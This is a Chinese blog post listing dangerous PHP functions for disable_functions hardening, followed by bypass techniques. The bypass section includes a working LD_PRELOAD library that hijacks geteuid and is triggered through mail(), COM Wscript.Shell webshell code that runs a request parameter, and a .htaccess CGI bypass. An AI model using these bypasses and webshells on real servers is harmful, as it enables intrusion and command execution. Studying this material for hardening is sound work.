PHP 可以利用的危险的函数

1. 前言

本文主要对 PHP 中的 disable_functions 以及一些可能会遭到利用的函数做一个罗列,并简单解释。

2. 比较全的 disable_functions
system,shell_exec,passthru,exec,popen,proc_open,pcntl_exec,mail,putenv,
apache_setenv,mb_send_mail,assert,dl,set_time_limit,ignore_user_abort,
symlink,link,map_open,imap_mail,ini_set,ini_alter,其他函数
2.1 system

原型:

system ( string $command [, int &$return_var ] )

描述:

同 C 版本的 system() 函数一样, 本函数执行 command 参数所指定的命令, 并且输出执行结果。
如果 PHP 运行在服务器模块中, system() 函数还会尝试在每行输出完毕之后, 自动刷新 web 服务器的输出缓存。
如果要获取一个命令未经任何处理的 原始输出, 请使用 passthru() 函数。

参数:

command
要执行的命令。

return_var
如果提供 return_var 参数, 则外部命令执行后的返回状态将会被设置到此变量中。

返回值:

成功则返回命令输出的最后一行, 失败则返回 FALSE

2.2 shell_exec

原型:

shell_exec ( string $cmd )

描述:

通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。

返回值:

命令执行的输出。 如果执行过程中发生错误或者进程不产生输出,则返回 NULL。

注意:本函数和 ``(反引号等价)

2.3 passthru

原型:

passthru ( string $command [, int &$return_var ] )

描述:

exec() 函数类似, passthru() 函数 也是用来执行外部命令(command)的。 当所执行的 Unix 命令输出二进制数据, 并且需要直接传送到浏览器的时候, 需要用此函数来替代 exec()system()函数。 常用来执行诸如 pbmplus 之类的可以直接输出图像流的命令。 通过设置 Content-type 为 image/gif, 然后调用 pbmplus 程序输出 gif 文件, 就可以从 PHP 脚本中直接输出图像到浏览器。

参数:

command
要执行的命令。

return_var
如果提供 return_var 参数, Unix 命令的返回状态会被记录到此参数。

返回值:

没有返回值。

2.4 exec

原型:

exec ( string $command [, array &$output [, int &$return_var ]] ) 

参数:

command
要执行的命令。

output
如果提供了 output 参数, 那么会用命令执行的输出填充此数组, 每行输出填充数组中的一个元素。 数组中的数据不包含行尾的空白字符,例如 \n 字符。 请注意,如果数组中已经包含了部分元素,exec() 函数会在数组末尾追加内容。如果你不想在数组末尾进行追加, 请在传入 exec() 函数之前 对数组使用 unset() 函数进行重置。

return_var
如果同时提供 output 和 return_var 参数, 命令执行后的返回状态会被写入到此变量。

返回值:

命令执行结果的最后一行内容

2.5 popen()

原型:

resource popen ( string command, string mode )

描述:

打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。 返回一个和 fopen() 所返回的相同的文件指针,只不过它是单向的(只能用于读或写)并且必须用 pclose() 来关闭。此指针可以用于 fgets(),fgetss() 和 fwrite()

例子:

1$fd = popen("command", 'r'); $ret = fgets($fd);
2$fd = popen("systeminfo >d:\\1.txt", 'r'); pclose($fd);
3: print(fgets(fopen("d:\\1.txt",'r')));
4$fd=popen("ipconfig",'r');
while($s=fgets($fd)){
print_r($s);
}

注意:
只能打开单向管道,不是’r’就是’w’;并且需要使用pclose()来关闭。

2.6 proc_open()

原型:

resource proc_open ( string cmd, array descriptorspec, array &pipes [, string cwd [, array env [, array other_options]]] )

描述:
与popen类似,但是可以提供双向管道。具体的参数读者可 以自己翻阅php manual

注意:
A. 后面需要使用proc_close()关闭资源,并且如果是 pipe 类型,需要用 pclose() 关闭句柄。
B. proc_open 打开的程序作为 php 的子进程,php 退出后该子进程也会退出。

例子:

<?php
$descriptorspec=array( //这个索引数组用力指定要用 proc_open 创建的子进程的描述符
0=>array('pipe','r'), //STDIN
1=>array('pipe','w'),//STDOUT
2=>array('pipe','w') //STDERROR
);
$handle = proc_open('dir', $descriptorspec, $pipes, NULL);
//$pipes 中保存的是子进程创建的管道对应到 PHP 这一端的文件指针($descriptorspec指定的)
if(!is_resource($handle)){
die('proc_open failed');
}
//fwrite($pipes[0],'ipconfig');
print('stdout:<br/>');
while($s=fgets($pipes[1])){
print_r($s);
}
print('===========<br/>stderr:<br/>');
while($s=fgets($pipes[2])){
print_r($s);
}
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($handle);
?>
2.7 pcntl_exec()

原型:

void pcntl_exec ( string $path [, array $args [, array $envs ]] )

描述:

(PHP 4 >= 4.2.0, PHP 5, PHP 7)
pcntl_exec — 在当前进程空间执行以给定参数执行指定程序。
pcntl 是 linux 下的一个扩展,可以支持 php 的多线程操作。

参数:

path: 必须是可执行二进制文件路径或一个在文件第一行指定了一个可执行文件路径标头的脚本(比如文件第一行是 #!/usr/local/bin/perl 的 perl 脚本)。 更多的信息请查看您系统的execve(2)手册。
args: 一个要传递给程序的参数的字符串数组。
envs: 一个要传递给程序作为环境变量的字符串数组。这个数组是 key => value格式的,key代表要传递的环境变量的名称,value代表该环境变量值。

返回值:

当发生错误时返回 FALSE ,没有错误时没有返回。

2.8 mail() //第五个参数 excrt_cmd

大致就是说,第五个参数支持添加附加的命令作为发送邮件时候的配置,比如使用 -f 参数可以设置邮件发件人等。

如果传递了第五个参数(extra_cmd),则用 spprintf 将 sendmail_path 和 extra_cmd 拼接到 sendmail_cmd 中,随后将sendmail_cmd 丢给 popen 执行,如果系统默认 sh 是 bash,popen 会派生 bash 进程,而我们刚才提到的 bash 破壳漏洞,直接就导致我们可以利用 mail() 函数执行任意命令,绕过 disable_functions 的限制

注意:
但是如果使用了 php_escape_shell_cmd 函数会对特殊字符(包括&#;`|*?~<>^()[]{}$, \x0A and \xFF. ‘ 等)进行转义,们可以通过 putenv 函数来设置一个包含自定义函数的环境变量,然后通过 mail() 来触发

详细分析:
https://www.leavesongs.com/PHP/php-bypass-disable-functions-by-CVE-2014-6271.html
https://www.cnblogs.com/hookjoy/p/8988862.html

2.9 putenv()

原型:

bool putenv ( string $setting )

添加 setting 到服务器环境变量,环境变量仅存活于当前请求期间,在请求结束时环境会恢复到初始状态。 既然能自定义环境变量,那么对攻击者就很有利了,

比如:

LD_PRELOAD 是 Linux 系统的下一个有趣的环境变量,它允许你定义在程序运行前优先加载的动态链接库

这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。

它允许你定义在程序运行前优先加载的动态链接库,这说明我们几乎可以劫持 PHP 的大部分函数,还拿上面的 mail 函数作为例子,上文说过,php 的 mail 函数实际上是调用了系统的 sendmail 命令,我们选取一个库函数 geteuid

首先我们编写一个自己的动态链接程序,hack.c:

#include<stdlib.h>
#include <stdio.h>        
#include<string.h> 

void payload() {
        system("touch/var/www/html/test");
}   

int  geteuid() {
if(getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}

当这个共享库中的 geteuid 被调用时,尝试加载 payload() 函数,执行命令,在 /var/www/html 目录下创建一个名字为test的文件。这里实际应用时应该注意编译平台和目标尽量相近,以及注意路径问题,避免不必要的麻烦,这里我们仅仅作为测试,不考虑这些问题。

[root@localhostadmin]# gcc -c -fPIC hack.c -o hack
[root@localhostadwin]# gcc -shared hack -o hack.so

我们把hack.so放到WEB目录,然后编写一个PHP文件进行测试:

<?php
putenv("LD_PRELOAD=/var/www/html/hack.so");
mail("admin@localhost","","","","");
?>

我们的 /var/www/html/ 目录下本来只有 hack.so 和 index.php 这两个文件,当我们在浏览器中访问 index.php 页面之后,可以看到目录下又多出了一个 test 文件,说明我们的系统命令执行成功。

2.10 assert

原型:

assert ( mixed $assertion [, string $description ] )

描述:

如果assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。

2.11 dl()

dl() 函数允许在 php 脚本里动态加载 php 模块,默认是加载 extension_dir 目录里的扩展,该选项是 PHP_INI_SYSTEM 范围可修改的,只能在 php.ini 或者 apache 主配置文件里修改。当然,你也可以通过 enable_dl 选项来关闭动态加载功能.
而这个选项默认为 On 的,事实上也很少人注意到这个。dl() 函数在设计时存在安全漏洞,可以用 …/ 这种目录遍历的方式指定加载任何一个目录里的 so 等扩展文件,extension_dir 限制可以被随意饶过。所以我们可以上传自己的 so 文件,并且用 dl 函数加载这个 so 文件然后利用 so 文件里的函数执行其他操作,包括系统命令。

2.12 symlink

原型:

symlink ( string $target , string $link )

描述:

symlink() 对于已有的 target 建立一个名为 link 的符号连接。

参数:

target
连接的目标。

link
连接的名称。

返回值:
成功时返回 TRUE, 或者在失败时返回 FALSE。

注意: 该函数仅针对 Windows:运行 PHP 于Vista、Server 2008 或更高版本才能正常使用。 之前版本的 Windows 不支持符号连接。

2.13 link

原型:

link ( string $target , string $link ) 

描述:

link() 建立一个硬连接。

参数:

target
要链接的目标。

link
链接的名称。

返回值:

成功时返回 TRUE, 或者在失败时返回 FALSE。

注意:
Windows下:该功能需要以 elevated 模式运行,或者关闭 UAC。

2.14 ini_set()/ini_alter()

原型:

ini_set ( string $varname , string $newvalue )

描述:

设置指定配置选项的值。这个选项会在脚本运行时保持新的值,并在脚本结束时恢复。

参数:

varname
不是所有有效的选项都能够用 ini_set() 来改变的, 这里有个有效选项的清单附录。

newvalue
选项新的值。

返回值:

成功时返回旧的值,失败时返回 FALSE。

注意:
ini_alter() 是 ini_set()的别名函数

2.15 imap_mail

一个 bypass disable_functions 的方法 https://github.com/Bo0oM/PHP_imap_open_exploit

2.16 其他函数

这些函数在某些特定的 情况下还是有一定的攻击性的,选择性禁用就好了

(1)chroot()
功能描述:可改变当前 PHP 进程的工作根目录,仅当系统支持 CLI 模式PHP 时才能工作,且该函数不适用于 Windows 系统。

(2)scandir()
功能描述:列出指定路径中的文件和目录。

(3)chgrp()
功能描述:改变文件或目录所属的用户组。

(4)chown()
功能描述:改变文件或目录的所有者。

(5)proc_get_status()
功能描述:获取使用 proc_open() 所打开进程的信息。

(6)error_log()
功能描述:将错误信息发送到指定位置(文件)。
安全备注:在某些版本的 PHP 中,可使用 error_log() 绕过 PHP safe mode,
执行任意命令。

(7)ini_restore()
功能描述:可用于恢复 PHP 环境配置参数到其初始值。

(8)pfsockopen()
功能描述:建立一个 Internet 或 UNIX 域的 socket 持久连接。

(9)syslog()
功能描述:可调用 UNIX 系统的系统层 syslog() 函数。

(10)readlink()
功能描述:返回符号连接指向的目标文件内容。

(11)stream_socket_server()
功能描述:建立一个 Internet 或 UNIX 服务器连接。

(12)openlog
功能描述:为程序打开与系统记录器的连接。

补充:

l3m0n 师傅的 disable_functions shell
安利一波:https://github.com/l3m0n/Bypass_Disable_functions_Shell

一些 bypass disable function

网上找了找 bypass 的方法,当然都属于比较极端的方式,利用条件苛刻,而且几乎都被 disable 了,要我说最有可能的还是 imap (也就是上面的第15点),但还是列一下,开阔一下思路也是好的,更多信息可以看https://github.com/l3m0n/Bypass_Disable_functions_Shell 。

一、.htaccess 不只是重定向
条件:

第一,必须是 apache 环境
第二,mod_cgi 已经启用
第三,必须允许 .htaccess 文件,也就是说在 httpd.conf 中,要注意 AllowOverride 选项为 All,而不是 none
第四,必须有权限写 .htaccess 文件

在 apache 的配置中,有一个非常重要的指令,Options,Options 指令是 Apache 配置文件中一个比较常见也比较重要的指令,Options 指令可以在 Apache 服务器核心配置(server config)、虚拟主机配置(virtual host)、特定目录配置(directory) 以及 .htaccess 文件中使用,Options 指令的主要作用是控制特定目录将启用哪些服务器特性我们用到的就是 ExecCGI 选项,表示允许使用 mod_cgi 模块执行 CGI 脚本。

除了 Options,我们还要配合另外一个 AddHandler 指令来使用,如果你对 AddHandler 不太熟悉没关系,这么解释一下就容易理解多了:AddType 我们肯定很熟悉,比如配置 apache 对 PHP 的支持的时候,经常会添加一行类似 AddType application/x-httpd-php .php 这样的配置,这其实是指定了文件扩展名和内容类型之间的映射关系,而 AddHandler 则是指定扩展名和处理程序之间的关系,也就是说,可以指定某个特定的扩展名的文件,如何来进行处理。

有了 Options 和 AddHandler,我们就可以随便指定一个特定的文件扩展名以特定的程序来处理,这样思路就很清晰了:先把要执行的程序写入一个特定扩展名的文件里,然后修改 .htaccess 文件,通过 Options 指令允许使用 mod_cgi 模块执行 CGI 脚本,然后再让我们特定的扩展名以 cgi-script 进行处理,这样我们甚至可以反弹一个 shell 出来。

详细分析:
https://www.cnblogs.com/hookjoy/p/8988862.html

二、COM 组件执行命令

漏洞出现的原因是由于在安全模式下的 PHP 平台虽然 system();passthru() 函数被禁止,但是 com.allow_dcom 的设置依旧是为true.以至于攻击者可以使用 COM() 函数创建系统组件对象来运行系统命令.如果是默认的 Apache 设置或者 Web 服务器以Localsystem 权限或 Administrators 权限运行,攻击者可以使用这个漏洞来提升权限.

exp :

/*需要Windows Script Host 5.6支持*/
<?php
$phpwsh=new COM("Wscript.Shell") or die("Create Wscript.Shell Failed!");//生成com 对象
$phpexec=$phpwsh->exec("cmd.exe /c $cmd");//调用 com 对象的方法执行命令
$execoutput=$wshexec->stdout();
$result=$execoutput->readall();
echo $result;
?>

/*Windows Script Host 5.6以下版本支持*/
<?php
$phpwsh=new COM("Wscript.Shell") or die("Create Wscript.Shell Failed!");
$phpwsh->run("cmd.exe /c $cmd > c://inetpub//wwwroot//result.txt");
?>

将以上代码保存成*.php文件之后可以在浏览器中执行
http://www.target.com/simple.php?cmd=[Command]

三、内核绕过

使用 fopen/fread/fwrite 函数来操纵内存文件 /proc/self/mem 。利用这种方法,人们就可以用 system() 函数的地址来替换 GOT中 open() 函数的地址,这样的话,攻击者就可以通过 readfile() 函数来随心所欲地执行任意 os 命令了。

3. 总结

攻与防是相对的,这些函数可以说是给攻击者参考也可以说是给防御者参考吧~

猜你喜欢

转载自blog.csdn.net/aoshilang2249/article/details/88900212
今日推荐